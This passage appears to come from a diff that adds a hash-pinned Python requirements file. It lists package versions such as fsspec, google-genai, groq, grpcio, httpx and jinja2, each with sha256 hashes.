--hash=sha256:17c883ab0ab67200b5f964d2b9ed6b00971917d5d8a92df149dc2c9779208ee9 \ + --hash=sha256:1a7607e17ad33361677adcd1443edf6f5da0ce5e5377b798fba20fae194825f3 \ + --hash=sha256:1a7fa382a4a223773ed64242dbe1c9c326ec09457e6b8428efb4118c685c3dfd \ + --hash=sha256:1aa77cb5697069af47472e39612976ed05343ff2e84a3dcf15437b232cbfd087 \ + --hash=sha256:1b9290cf81e95e93fdf90548ce9d3c1211cf574b8e3f4b3b7cb0537cf2227068 \ + --hash=sha256:20e63c9493d33ee48536600d1a5c95eefc870cd71e7ab037763d1fbb89cc51e7 \ + --hash=sha256:21900c48ae04d13d416f0e1e0c4d81f7931f73a9dfa0b7a8746fb2fe7dd970ed \ + --hash=sha256:229bf37d2e4acdaf808fd3f06e854a4a7a3661e871b10dc1f8f1896a3b05f18b \ + --hash=sha256:2552f44204b744fba866e573be4c1f9048d6a324dfe14475103fd51613eb1d1f \ + --hash=sha256:27c6e8077956cf73eadd514be8fb04d77fc946a7fe9f7fe167648b0b9085cc25 \ + --hash=sha256:28bd570e8e189d7f7b001966435f9dac6718324b5be2990ac496cf1ea9ddb7fe \ + --hash=sha256:294e487f9ec720bd8ffcebc99d575f7eff3568a08a253d1ee1a0378754b74143 \ + --hash=sha256:29548f9b5b5e3460ce7378144c3010363d8035cea44bc0bf02d57f5a685e084e \ + --hash=sha256:2c5dcbbc55383e5883246d11fd179782a9d07a986c40f49abe89ddf865913930 \ + --hash=sha256:2dc43a022e555de94c3b68a4ef0b11c4f747d12c024a520c7101709a2144fb37 \ + --hash=sha256:2f05983daecab868a31e1da44462873306d3cbfd76d1f0b5b69c473d21dbb128 \ + --hash=sha256:33139dc858c580ea50e7e60a1b0ea003efa1fd42e6ec7fdbad78fff65fad2fd2 \ + --hash=sha256:332db6b2563333c5671fecacd085141b5800cb866be16d5e3eb15a2086476675 \ + --hash=sha256:33f48f51a446114bc5d251fb2954ab0164d5be02ad3382abcbfe07e2531d650f \ + --hash=sha256:34187385b08f866104f0c0617404c8eb08165ab1272e884abc89c112e9c00746 \ + --hash=sha256:342c97bf697ac5480c0a7ec73cd700ecfa5a8a40ac923bd035484616efecc2df \ + --hash=sha256:3462dd9475af2025c31cc61be6652dfa25cbfb56cbbf52f4ccfe029f38decaf8 \ + --hash=sha256:39ecbc32f1390387d2aa4f5a995e465e9e2f79ba3adcac92d68e3e0afae6657c \ + --hash=sha256:3e0761f4d1a44f1d1a47996511752cf3dcec5bbdd9cc2b4fe595caf97754b7a0 \ + --hash=sha256:3ede829ed8d842f6cd48fc7081d7a41001a56f1f38603f9d49bf3020d59a31ad \ + --hash=sha256:3ef2d026f16a2b1866e1d86fc4e1291e1ed8a387b2c333809419a2f8b3a77b82 \ + --hash=sha256:405e8fe955c2280ce66428b3ca55e12b3c4e9c336fb2103a4937e891c69a4a29 \ + --hash=sha256:42145cd2748ca39f32801dad54aeea10039da6f86e303659db90db1c4b614c8c \ + --hash=sha256:4314debad13beb564b708b4a496020e5306c7333fa9a3ab90374169a20ffab30 \ + --hash=sha256:433403ae80709741ce34038da08511d4a77062aa924baf411ef73d1146e74faf \ + --hash=sha256:44389d135b3ff43ba8cc89ff7f51f5a0bb6b63d829c8300f79a2fe4fe61bcc62 \ + --hash=sha256:48e6d3f4ec5c7273dfe83ff27c91083c6c9065af655dc2684d2c200c94308bb5 \ + --hash=sha256:494a5952b1c597ba44e0e78113a7266e656b9794eec897b19ead706bd7074383 \ + --hash=sha256:4970ece02dbc8c3a92fcc5228e36a3e933a01a999f7094ff7c23fbd2beeaa67c \ + --hash=sha256:4e0c11f2cc6717e0a741f84a527c52616140741cd812a50422f83dc31749fb52 \ + --hash=sha256:50066c3997d0091c411a66e710f4e11752251e6d2d73d70d8d5d4c76442a199d \ + --hash=sha256:517279f58009d0b1f2e7c1b130b377a349405da3f7621ed6bfae50b10adf20c1 \ + --hash=sha256:54b2077180eb7f83dd52c40b2750d0a9f175e06a42e3213ce047219de902717a \ + --hash=sha256:5500ef82073f599ac84d888e3a8c1f77ac831183244bfd7f11eaa0289fb30714 \ + --hash=sha256:581ef5194c48035a7de2aefc72ac6539823bb71508189e5de01d60c9dcd5fa65 \ + --hash=sha256:59a6a5876ca59d1b63af8cd5e7ffffb024c3dc1e9cf9301b21a2e76286505c95 \ + --hash=sha256:5a3a935c3a4e89c733303a2d5a7c257ea44af3a56c8202df486b7f5de40f37e1 \ + --hash=sha256:5c1c8e78426e59b3f8005e9b19f6ff46e5845895adbde20ece9218319eca6506 \ + --hash=sha256:5d63a068f978fc69421fb0e6eb91a9603187527c86b7cd3f534a5b77a592b888 \ + --hash=sha256:667c3777ca571e5dbeb76f331562ff98b957431df140b54c85fd4d52eea8d8f6 \ + --hash=sha256:6da155091429aeba16851ecb10a9104a108bcd32f6c1642867eadaee401c1c41 \ + --hash=sha256:6dc4126390929823e2d2d9dc79ab4046ed74680360fc5f38b585c12c66cdf459 \ + --hash=sha256:7398c222d1d405e796970320036b1b563892b65809d9e5261487bb2c7f7b5c6a \ + --hash=sha256:74c51543498289c0c43656701be6b077f4b265868fa7f8a8859c197006efb608 \ + --hash=sha256:776f352e8329135506a1d6bf16ac3f87bc25b28e765949282dcc627af36123aa \ + --hash=sha256:778a11b15673f6f1df23d9586f83c4846c471a8af693a22e066508b77d201ec8 \ + --hash=sha256:78f7b9e5d6f2fdb88cdde9440dc147259b62b9d3b019924def9f6478be254ac1 \ + --hash=sha256:799345ab092bee59f01a915620b5d014698547afd011e691a208637312db9186 \ + --hash=sha256:7bf6cdf8e07c8151fba6fe85735441240ec7f619f935a5205953d58009aef8c6 \ + --hash=sha256:8009897cdef112072f93a0efdce29cd819e717fd2f649ee3016efd3cd885a7ed \ + --hash=sha256:80f85f0a7cc86e7a54c46d99c9e1318ff01f4687c172ede30fd52d19d1da1c8e \ + --hash=sha256:8585e3bb2cdea02fc88ffa245069c36555557ad3609e83be0ec71f54fd4abb52 \ + --hash=sha256:878be833caa6a3821caf85eb39c5ba92d28e85df26d57afb06b35b2efd937231 \ + --hash=sha256:8a76ea0f0b9dfa06f254ee06053d93a600865b3274358ca48a352ce4f0798450 \ + --hash=sha256:8b7b94a067d1c504ee0b16def57ad5738701e4ba10cec90529f13fa03c833496 \ + --hash=sha256:8d92f1a84bb12d9e56f818b3a746f3efba93c1b63c8387a73dde655e1e42282a \ + --hash=sha256:908bd3f6439f2fef9e85031b59fd4f1297af54415fb60e4254a95f75b3cab3f3 \ + --hash=sha256:92db2bf818d5cc8d9c1f1fc56b897662e24ea5adb36ad1f1d82875bd64e03c24 \ + --hash=sha256:940d4a017dbfed9daf46a3b086e1d2167e7012ee297fef9e1c545c4d022f5178 \ + --hash=sha256:957e7c38f250991e48a9a73e6423db1bb9dd14e722a10f6b8bb8e16a0f55f695 \ + --hash=sha256:96153e77a591c8adc2ee805756c61f59fef4cf4073a9275ee86fe8cba41241f7 \ + --hash=sha256:96f423a119f4777a4a056b66ce11527366a8bb92f54e541ade21f2374433f6d4 \ + --hash=sha256:97260ff46b207a82a7567b581ab4190bd4dfa09f4db8a8b49d1a958f6aa4940e \ + --hash=sha256:974b28cf63cc99dfb2188d8d222bc6843656188164848c4f679e63dae4b0708e \ + --hash=sha256:9ff15928d62a0b80bb875655c39bf517938c7d589554cbd2669be42d97c2cb61 \ + --hash=sha256:a6483e309ca809f1efd154b4d37dc6d9f61037d6c6a81c2dc7a15cb22c8c5dca \ + --hash=sha256:a88f062f072d1589b7b46e951698950e7da00442fc1cacbe17e19e025dc327ad \ + --hash=sha256:ac913f8403b36a2c8610bbfd25b8013488533e71e62b4b4adce9c86c8cea905b \ + --hash=sha256:adbeebaebae3526afc3c96fad434367cafbfd1b25d72369a9e5858453b1bb71a \ + --hash=sha256:b2a095d45c5d46e5e79ba1e5b9cb787f541a8dee0433836cea4b96a2c439dcd8 \ + --hash=sha256:b3210649ee28062ea6099cfda39e147fa1bc039583c8ee4481cb7811e2448c51 \ + --hash=sha256:b37f6d31b3dcea7deb5e9696e529a6aa4a898adc33db82da12e4c60a7c4d2011 \ + --hash=sha256:b4dec9482a65c54a5044486847b8a66bf10c9cb4926d42927ec4e8fd5db7fed8 \ + --hash=sha256:b4f3b365f31c6cd4af24545ca0a244a53688cad8834e32f56831c4923b50a103 \ + --hash=sha256:b6db2185db9be0a04fecf2f241c70b63b1a242e2805be291855078f2b404dd6b \ + --hash=sha256:b9be22a69a014bc47e78072d0ecae716f5eb56c15238acca0f43d6eb8e4a5bda \ + --hash=sha256:bac9c42ba2ac65ddc115d930c78d24ab8d4f465fd3fc473cdedfccadb9429806 \ + --hash=sha256:bf0a7e10b077bf5fb9380ad3ae8ce20ef919a6ad93b4552896419ac7e1d8e042 \ + --hash=sha256:c23c3ff005322a6e16f71bf8692fcf4d5a304aaafe1e262c98c6d4adc7be863e \ + --hash=sha256:c4c800524c9cd9bac5166cd6f55285957fcfc907db323e193f2afcd4d9abd69b \ + --hash=sha256:c7366fe1418a6133d5aa824ee53d406550110984de7637d65a178010f759c6ef \ + --hash=sha256:c8d1634419f39ea6f5c427ea2f90ca85126b54b50837f31497f3bf38266e853d \ + --hash=sha256:c9a63152fe95756b85f31186bddf42e4c02c6321207fd6601a1c89ebac4fe567 \ + --hash=sha256:cb89a7f2de3602cfed448095bab3f178399646ab7c61454315089787df07733a \ + --hash=sha256:cba69cb73723c3f329622e34bdbf5ce1f80c21c290ff04256cff1cd3c2036ed2 \ + --hash=sha256:cee686f1f4cadeb2136007ddedd0aaf928ab95216e7691c63e50a8ec066336d0 \ + --hash=sha256:cf253e0e1c3ceb4aaff6df637ce033ff6535fb8c70a764a8f46aafd3d6ab798e \ + --hash=sha256:d1eaff1d00c7751b7c6662e9c5ba6eb2c17a2306ba5e2a37f24ddf3cc953402b \ + --hash=sha256:d3bb933317c52d7ea5004a1c442eef86f426886fba134ef8cf4226ea6ee1821d \ + --hash=sha256:d4d3214a0f8394edfa3e303136d0575eece0745ff2b47bd2cb2e66dd92d4351a \ + --hash=sha256:d6a5df73acd3399d893dafc71663ad22534b5aa4f94e8a2fabfe856c3c1b6a52 \ + --hash=sha256:d8b7138e5cd0647e4523d6685b0eac5d4be9a184ae9634492f25c6eb38c12a47 \ + --hash=sha256:db1e72ede2d0d7ccb213f218df6a078a9c09a7de257c2fe8fcef16d5925230b1 \ + --hash=sha256:e25ac20a2ef37e91c1b39938b591457666a0fa835c7783c3a8f33ea42870db94 \ + --hash=sha256:e2de870d16a7a53901e41b64ffdf26f2fbb8917b3e6ebf398098d72c5b20bd7f \ + --hash=sha256:e4a3408834f65da56c83528fb52ce7911484f0d1eaf7b761fc66001db1646eff \ + --hash=sha256:eaa352d7047a31d87dafcacbabe89df0aa506abb5b1b85a2fb91bc3faa02d822 \ + --hash=sha256:eab8145831a0d56ec9c4139b6c3e594c7a83c2c8be25d5bcf2d86136a532287a \ + --hash=sha256:ec3cc8c5d4084591b4237c0a272cc4f50a5b03396a47d9caaf76f5d7b38a4f11 \ + --hash=sha256:edee74874ce20a373d62dc28b0b18b93f645633c2943fd90ee9d898550770581 \ + --hash=sha256:eefdba20de0d938cec6a89bd4d70f346a03108a19b9df4248d3cf0d88f1b0f51 \ + --hash=sha256:ef2b7b394f208233e471abc541cc6991f907ffd47dc72584acee3147899d6565 \ + --hash=sha256:f21f00a91358803399890ab167098c131ec2ddd5f8f5fd5fe9c9f2c6fcd91e40 \ + --hash=sha256:f4be2e3d8bc8aabd566f8d5b8ba7ecc09249d74ba3c9ed52e54dc23a293f0b92 \ + --hash=sha256:f57fb59d9f385710aa7060e89410aeb5058b99e62f4d16b08b91986b9a2140c2 \ + --hash=sha256:f6292f1de555ffcc675941d65fffffb0a5bcd992905015f85d0592201793e0e5 \ + --hash=sha256:f833670942247a14eafbb675458b4e61c82e002a148f49e68257b79296e865c4 \ + --hash=sha256:fa47e444b8ba08fffd1c18e8cdb9a75db1b6a27f17507522834ad13ed5922b93 \ + --hash=sha256:fb30f9626572a76dfe4293c7194a09fb1fe93ba94c7d4f720dfae3b646b45027 \ + --hash=sha256:fe3c58d2f5db5fbd18c2987cba06d51b0529f52bc3a6cdc33d3f4eab725104bd +fsspec==2025.9.0 \ + --hash=sha256:19fd429483d25d28b65ec68f9f4adc16c17ea2c7c7bf54ec61360d478fb19c19 \ + --hash=sha256:530dc2a2af60a414a832059574df4a6e10cce927f6f4a78209390fe38955cfb7 +func-timeout==4.3.5 \ + --hash=sha256:74cd3c428ec94f4edfba81f9b2f14904846d5ffccc27c92433b8b5939b5575dd +google-api-core==2.31.0 \ + --hash=sha256:2be84ee0f584c48e6bde1b36766e23348b361fb7e55e56135fc76ce1c397f9c2 \ + --hash=sha256:ef79fb3784c71cbac89cbd03301ba0c8fb8ad2aa95d7f9204dd9628f7adf59ab +google-api-python-client==2.184.0 \ + --hash=sha256:15a18d02f42de99416921c77be235d12ead474e474a1abc348b01a2b92633fa4 \ + --hash=sha256:ef2a3330ad058cdfc8a558d199c051c3356f6ed012436c3ad3d08b67891b039f +google-auth==2.53.0 \ + --hash=sha256:6e7449917c599b35126a99ec268ec6880301f2fea41dce198fe8fd83ff642b68 \ + --hash=sha256:e7e6aa16f6bee7b2b264830fd04f08087a1d5a836df516251a5d15327b246c9c +google-auth-httplib2==0.2.0 \ + --hash=sha256:38aa7badf48f974f1eb9861794e9c0cb2a0511a4ec0679b1f886d108f5640e05 \ + --hash=sha256:b65a0a2123300dd71281a7bf6e64d65a0759287df52729bdd1ae2e47dc311a3d +google-auth-oauthlib==1.2.2 \ + --hash=sha256:11046fb8d3348b296302dd939ace8af0a724042e8029c1b872d87fabc9f41684 \ + --hash=sha256:fd619506f4b3908b5df17b65f39ca8d66ea56986e5472eb5978fd8f3786f00a2 +google-genai==1.75.0 \ + --hash=sha256:56bac3991b311c93f980c0a2abcd287b672146905df1fbd71c92ed633d5a07cf \ + --hash=sha256:8dc4c096e7d6288c3087f6893f582fe52468932464781edb8193bd92b9fefb2c +googleapis-common-protos==1.70.0 \ + --hash=sha256:0e1b44e0ea153e6594f9f394fef15193a68aaaea2d843f83e2742717ca753257 \ + --hash=sha256:b8bfcca8c25a2bb253e0e0b0adaf8c00773e5e6af6fd92397576680b807e0fd8 +groq==0.32.0 \ + --hash=sha256:0ed0be290042f8826f851f3a1defaac4f979dcfce86ec4a0681a23af00ec800b \ + --hash=sha256:fb1ade61f47a06d1a1c1dc0fab690d269b799ebd57ad1dd867efaeaa7adeb2af +grpcio==1.76.0 \ + --hash=sha256:035d90bc79eaa4bed83f524331d55e35820725c9fbb00ffa1904d5550ed7ede3 \ + --hash=sha256:04bbe1bfe3a68bbfd4e52402ab7d4eb59d72d02647ae2042204326cf4bbad280 \ + --hash=sha256:063065249d9e7e0782d03d2bca50787f53bd0fb89a67de9a7b521c4a01f1989b \ + --hash=sha256:06c3d6b076e7b593905d04fdba6a0525711b3466f43b3400266f04ff735de0cd \ + --hash=sha256:08caea849a9d3c71a542827d6df9d5a69067b0a1efbea8a855633ff5d9571465 \ + --hash=sha256:0aaa82d0813fd4c8e589fac9b65d7dd88702555f702fb10417f96e2a2a6d4c0f \ + --hash=sha256:0b7604868b38c1bfd5cf72d768aedd7db41d78cb6a4a18585e33fb0f9f2363fd \ + --hash=sha256:0c37db8606c258e2ee0c56b78c62fc9dee0e901b5dbdcf816c2dd4ad652b8b0c \ + --hash=sha256:1c9b93f79f48b03ada57ea24725d83a30284a012ec27eab2cf7e50a550cbbbcc \ + --hash=sha256:2107b0c024d1b35f4083f11245c0e23846ae64d02f40b2b226684840260ed054 \ + --hash=sha256:2229ae655ec4e8999599469559e97630185fdd53ae1e8997d147b7c9b2b72cba \ + --hash=sha256:25a18e9810fbc7e7f03ec2516addc116a957f8cbb8cbc95ccc80faa072743d03 \ + --hash=sha256:26ef06c73eb53267c2b319f43e6634c7556ea37672029241a056629af27c10e2 \ + --hash=sha256:2e1743fbd7f5fa713a1b0a8ac8ebabf0ec980b5d8809ec358d488e273b9cf02a \ + --hash=sha256:32483fe2aab2c3794101c2a159070584e5db11d0aa091b2c0ea9c4fc43d0d749 \ + --hash=sha256:3bf0f392c0b806905ed174dcd8bdd5e418a40d5567a05615a030a5aeddea692d \ + --hash=sha256:3e2a27c89eb9ac3d81ec8835e12414d73536c6e620355d65102503064a4ed6eb \ + --hash=sha256:40ad3afe81676fd9ec6d9d406eda00933f218038433980aa19d401490e46ecde \ + --hash=sha256:4215d3a102bd95e2e11b5395c78562967959824156af11fa93d18fdd18050990 \ + --hash=sha256:45d59a649a82df5718fd9527ce775fd66d1af35e6d31abdcdc906a49c6822958 \ + --hash=sha256:45e0111e73f43f735d70786557dc38141185072d7ff8dc1829d6a77ac1471468 \ + --hash=sha256:479496325ce554792dba6548fae3df31a72cef7bad71ca2e12b0e58f9b336bfc \ + --hash=sha256:490fa6d203992c47c7b9e4a9d39003a0c2bcc1c9aa3c058730884bbbb0ee9f09 \ + --hash=sha256:49ce47231818806067aea3324d4bf13825b658ad662d3b25fada0bdad9b8a6af \ + --hash=sha256:4baf3cbe2f0be3289eb68ac8ae771156971848bb8aaff60bad42005539431980 \ + --hash=sha256:522175aba7af9113c48ec10cc471b9b9bd4f6ceb36aeb4544a8e2c80ed9d252d \ + --hash=sha256:5e8571632780e08526f118f74170ad8d50fb0a48c23a746bef2a6ebade3abd6f \ + --hash=sha256:615ba64c208aaceb5ec83bfdce7728b80bfeb8be97562944836a7a0a9647d882 \ + --hash=sha256:61f69297cba3950a524f61c7c8ee12e55c486cb5f7db47ff9dcee33da6f0d3ae \ + --hash=sha256:65a20de41e85648e00305c1bb09a3598f840422e522277641145a32d42dcefcc \ + --hash=sha256:6a15c17af8839b6801d554263c546c69c4d7718ad4321e3166175b37eaacca77 \ + --hash=sha256:747fa73efa9b8b1488a95d0ba1039c8e2dca0f741612d80415b1e1c560febf4e \ + --hash=sha256:7be78388d6da1a25c0d5ec506523db58b18be22d9c37d8d3a32c08be4987bd73 \ + --hash=sha256:81fd9652b37b36f16138611c7e884eb82e0cec137c40d3ef7c3f9b3ed00f6ed8 \ + --hash=sha256:83d57312a58dcfe2a3a0f9d1389b299438909a02db60e2f2ea2ae2d8034909d3 \ + --hash=sha256:8843114c0cfce61b40ad48df65abcfc00d4dba82eae8718fab5352390848c5da \ + --hash=sha256:8cc3309d8e08fd79089e13ed4819d0af72aa935dd8f435a195fd152796752ff2 \ + --hash=sha256:8ebe63ee5f8fa4296b1b8cfc743f870d10e902ca18afc65c68cf46fd39bb0783 \ + --hash=sha256:8eddfb4d203a237da6f3cc8a540dad0517d274b5a1e9e636fd8d2c79b5c1d397 \ + --hash=sha256:922fa70ba549fce362d2e2871ab542082d66e2aaf0c19480ea453905b01f384e \ + --hash=sha256:931091142fd8cc14edccc0845a79248bc155425eee9a98b2db2ea4f00a235a42 \ + --hash=sha256:971fd5a1d6e62e00d945423a567e42eb1fa678ba89072832185ca836a94daaa6 \ + --hash=sha256:980a846182ce88c4f2f7e2c22c56aefd515daeb36149d1c897f83cf57999e0b6 \ + --hash=sha256:9d9adda641db7207e800a7f089068f6f645959f2df27e870ee81d44701dd9db3 \ + --hash=sha256:9f8f757bebaaea112c00dba718fc0d3260052ce714e25804a03f93f5d1c6cc11 \ + --hash=sha256:a6ae758eb08088d36812dd5d9af7a9859c05b1e0f714470ea243694b49278e7b \ + --hash=sha256:a8c2cf1209497cf659a667d7dea88985e834c24b7c3b605e6254cbb5076d985c \ + --hash=sha256:acab0277c40eff7143c2323190ea57b9ee5fd353d8190ee9652369fae735668a \ + --hash=sha256:b331680e46239e090f5b3cead313cc772f6caa7d0fc8de349337563125361a4a \ + --hash=sha256:c088e7a90b6017307f423efbb9d1ba97a22aa2170876223f9709e9d1de0b5347 \ + --hash=sha256:d099566accf23d21037f18a2a63d323075bebace807742e4b0ac210971d4dd70 \ + --hash=sha256:d388087771c837cdb6515539f43b9d4bf0b0f23593a24054ac16f7a960be16f4 \ + --hash=sha256:dcfe41187da8992c5f40aa8c5ec086fa3672834d2be57a32384c08d5a05b4c00 \ + --hash=sha256:e6d1db20594d9daba22f90da738b1a0441a7427552cc6e2e3d1297aeddc00378 \ + --hash=sha256:ebea5cc3aa8ea72e04df9913492f9a96d9348db876f9dda3ad729cfedf7ac416 \ + --hash=sha256:ebebf83299b0cb1721a8859ea98f3a77811e35dce7609c5c963b9ad90728f886 \ + --hash=sha256:f0e34c2079d47ae9f6188211db9e777c619a21d4faba6977774e8fa43b085e48 \ + --hash=sha256:f92f88e6c033db65a5ae3d97905c8fea9c725b63e28d5a75cb73b49bda5024d8 \ + --hash=sha256:f9f7bd5faab55f47231ad8dba7787866b69f5e93bc306e3915606779bbfb4ba8 \ + --hash=sha256:fd5ef5932f6475c436c4a55e4336ebbe47bd3272be04964a03d316bbf4afbcbc \ + --hash=sha256:ff8a59ea85a1f2191a0ffcc61298c571bc566332f82e5f5be1b83c9d8e668a62 +h11==0.16.0 \ + --hash=sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1 \ + --hash=sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86 +hf-xet==1.1.10 \ + --hash=sha256:0a0005fd08f002180f7a12d4e13b22be277725bc23ed0529f8add5c7a6309c06 \ + --hash=sha256:408aef343800a2102374a883f283ff29068055c111f003ff840733d3b715bb97 \ + --hash=sha256:5f54b19cc347c13235ae7ee98b330c26dd65ef1df47e5316ffb1e87713ca7045 \ + --hash=sha256:686083aca1a6669bc85c21c0563551cbcdaa5cf7876a91f3d074a030b577231d \ + --hash=sha256:6b6bceb6361c80c1cc42b5a7b4e3efd90e64630bcf11224dcac50ef30a47e435 \ + --hash=sha256:71081925383b66b24eedff3013f8e6bbd41215c3338be4b94ba75fd75b21513b \ + --hash=sha256:eae7c1fc8a664e54753ffc235e11427ca61f4b0477d757cc4eb9ae374b69f09c \ + --hash=sha256:f900481cf6e362a6c549c61ff77468bd59d6dd082f3170a36acfef2eb6a6793f +httpcore==1.0.9 \ + --hash=sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55 \ + --hash=sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8 +httplib2==0.32.0 \ + --hash=sha256:48a0ef30a42db65d8f3399045e1d09ab0ba66e3b9efc360d07f80ea55d286025 \ + --hash=sha256:dc6705cacdf3fb0a2aba7629fa33c90fd93e30035db0c157325826be177e4816 +httpx==0.28.1 \ + --hash=sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc \ + --hash=sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad +httpx-sse==0.4.3 \ + --hash=sha256:0ac1c9fe3c0afad2e0ebb25a934a59f4c7823b60792691f779fad2c5568830fc \ + --hash=sha256:9b1ed0127459a66014aec3c56bebd93da3c1bc8bb6618c8082039a44889a755d +huggingface-hub==0.35.3 \ + --hash=sha256:0e3a01829c19d86d03793e4577816fe3bdfc1602ac62c7fb220d593d351224ba \ + --hash=sha256:350932eaa5cc6a4747efae85126ee220e4ef1b54e29d31c3b45c5612ddf0b32a +idna==3.15 \ + --hash=sha256:048adeaf8c2d788c40fee287673ccaa74c24ffd8dcf09ffa555a2fbb59f10ac8 \ + --hash=sha256:ca962446ea538f7092a95e057da437618e886f4d349216d2b1e294abfdb65fdc +importlib-metadata==8.5.0 \ + --hash=sha256:45e54197d28b7a7f1559e60b95e7c567032b602131fbd588f1497f47880aa68b \ + --hash=sha256:71522656f0abace1d072b9e5481a48f07c138e00f079c38c8f883823f9c26bd7 +inquirerpy==0.3.4 \ + --hash=sha256:89d2ada0111f337483cb41ae31073108b2ec1e618a49d7110b0d7ade89fc197e \ + --hash=sha256:c65fdfbac1fa00e3ee4fb10679f4d3ed7a012abf4833910e63c295827fe2a7d4 +jaraco-classes==3.4.0 \ + --hash=sha256:47a024b51d0239c0dd8c8540c6c7f484be3b8fcf0b2d85c13825780d3b3f3acd \ + --hash=sha256:f662826b6bed8cace05e7ff873ce0f9283b5c924470fe664fff1c2f00f581790 +jaraco-context==6.1.0 \ + --hash=sha256:129a341b0a85a7db7879e22acd66902fda67882db771754574338898b2d5d86f \ + --hash=sha256:a43b5ed85815223d0d3cfdb6d7ca0d2bc8946f28f30b6f3216bda070f68badda +jaraco-functools==4.4.0 \ + --hash=sha256:9eec1e36f45c818d9bf307c8948eb03b2b56cd44087b3cdc989abca1f20b9176 \ + --hash=sha256:da21933b0417b89515562656547a77b4931f98176eb173644c0d35032a33d6bb +jeepney==0.9.0 \ + --hash=sha256:97e5714520c16fc0a45695e5365a2e11b81ea79bba796e26f9f1d178cb182683 \ + --hash=sha256:cf0e9e845622b81e4a28df94c40345400256ec608d0e55bb8a3feaa9163f5732 +jinja2==3.1.6 \ + --hash=sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d \ + --hash=sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67 +jiter==0.11.0 \ + --hash=sha256:07630bb46ea2a6b9c6ed986c6e17e35b26148cce2c535454b26ee3f0e8dcaba1 \ + --hash=sha256:089f9df9f69532d1339e83142438668f52c97cd22ee2d1195551c2b1a9e6cf33 \ + --hash=sha256:09858f8d230f031c7b8e557429102bf050eea29c77ad9c34c8fe253c5329acb7 \ + --hash=sha256:11840d2324c9ab5162fc1abba23bc922124fedcff0d7b7f85fffa291e2f69206 \ + --hash=sha256:11df2bf99fb4754abddd7f5d940a48e51f9d11624d6313ca4314145fcad347f0 \ + --hash=sha256:144fc21337d21b1d048f7f44bf70881e1586401d405ed3a98c95a114a9994982 \ + --hash=sha256:1d4a6c4a737d486f77f842aeb22807edecb4a9417e6700c7b981e16d34ba7c72 \ + --hash=sha256:1d9637eaf8c1d6a63d6562f2a6e5ab3af946c66037eb1b894e8fad75422266e4 \ + --hash=sha256:1dc6a123f3471c4730db7ca8ba75f1bb3dcb6faeb8d46dd781083e7dee88b32d \ + --hash=sha256:25a5b1110cca7329fd0daf5060faa1234be5c11e988948e4f1a1923b6a457fe1 \ + --hash=sha256:25c625b9b61b5a8725267fdf867ef2e51b429687f6a4eef211f4612e95607179 \ + --hash=sha256:29ed1fe69a8c69bf0f2a962d8d706c7b89b50f1332cd6b9fbda014f60bd03a03 \ + --hash=sha256:29fff31190ab3a26de026da2f187814f4b9c6695361e20a9ac2123e4d4378a4c \ + --hash=sha256:2fb7b377688cc3850bbe5c192a6bd493562a0bc50cbc8b047316428fbae00ada \ + --hash=sha256:3893ce831e1c0094a83eeaf56c635a167d6fa8cc14393cc14298fd6fdc2a2449 \ + --hash=sha256:4441a91b80a80249f9a6452c14b2c24708f139f64de959943dfeaa6cb915e8eb \ + --hash=sha256:452d13e4fd59698408087235259cebe67d9d49173b4dacb3e8d35ce4acf385d6 \ + --hash=sha256:452d80a1c86c095a242007bd9fc5d21b8a8442307193378f891cb8727e469648 \ + --hash=sha256:494ba627c7f550ad3dabb21862864b8f2216098dc18ff62f37b37796f2f7c325 \ + --hash=sha256:4ad8bd82165961867a10f52010590ce0b7a8c53da5ddd8bbb62fef68c181b921 \ + --hash=sha256:4ee5821e3d66606b29ae5b497230b304f1376f38137d69e35f8d2bd5f310ff73 \ + --hash=sha256:4f01a744d24a5f2bb4a11657a1b27b61dc038ae2e674621a74020406e08f749b \ + --hash=sha256:53933a38ef7b551dd9c7f1064f9d7bb235bb3168d0fa5f14f0798d1b7ea0d9c5 \ + --hash=sha256:5661469a7b2be25ade3a4bb6c21ffd1e142e13351a0759f264dfdd3ad99af1ab \ + --hash=sha256:572208127034725e79c28437b82414028c3562335f2b4f451d98136d0fc5f9cd \ + --hash=sha256:5a7092b699646a1ddc03a7b112622d9c066172627c7382659befb0d2996f1659 \ + --hash=sha256:5beb56d22b63647bafd0b74979216fdee80c580c0c63410be8c11053860ffd09 \ + --hash=sha256:63782a1350917a27817030716566ed3d5b3c731500fd42d483cbd7094e2c5b25 \ + --hash=sha256:6e2bbf24f16ba5ad4441a9845e40e4ea0cb9eed00e76ba94050664ef53ef4406 \ + --hash=sha256:719891c2fb7628a41adff4f2f54c19380a27e6fdfdb743c24680ef1a54c67bd0 \ + --hash=sha256:76c15ef0d3d02f8b389066fa4c410a0b89e9cc6468a1f0674c5925d2f3c3e890 \ + --hash=sha256:7764f27d28cd4a9cbc61704dfcd80c903ce3aad106a37902d3270cd6673d17f4 \ + --hash=sha256:7b13a431dba4b059e9e43019d3022346d009baf5066c24dcdea321a303cde9f0 \ + --hash=sha256:8e36924dad32c48d3c5e188d169e71dc6e84d6cb8dedefea089de5739d1d2f80 \ + --hash=sha256:8fe6530aa738a4f7d4e4702aa8f9581425d04036a5f9e25af65ebe1f708f23be \ + --hash=sha256:902b43386c04739229076bd1c4c69de5d115553d982ab442a8ae82947c72ede7 \ + --hash=sha256:97025d09ef549795d8dc720a824312cee3253c890ac73c621721ddfc75066789 \ + --hash=sha256:9a6dff27eca70930bdbe4cbb7c1a4ba8526e13b63dc808c0670083d2d51a4a72 \ + --hash=sha256:a1b7cbe3f25bd0d8abb468ba4302a5d45617ee61b2a7a638f63fee1dc086be99 \ + --hash=sha256:a4d71d7ea6ea8786291423fe209acf6f8d398a0759d03e7f24094acb8ab686ba \ + --hash=sha256:a624d87719e1b5d09c15286eaee7e1532a40c692a096ea7ca791121365f548c1 \ + --hash=sha256:a9d0146d8d9b3995821bb586fc8256636258947c2f39da5bab709f3a28fb1a0b \ + --hash=sha256:adcab442f4a099a358a7f562eaa54ed6456fb866e922c6545a717be51dbed7d7 \ + 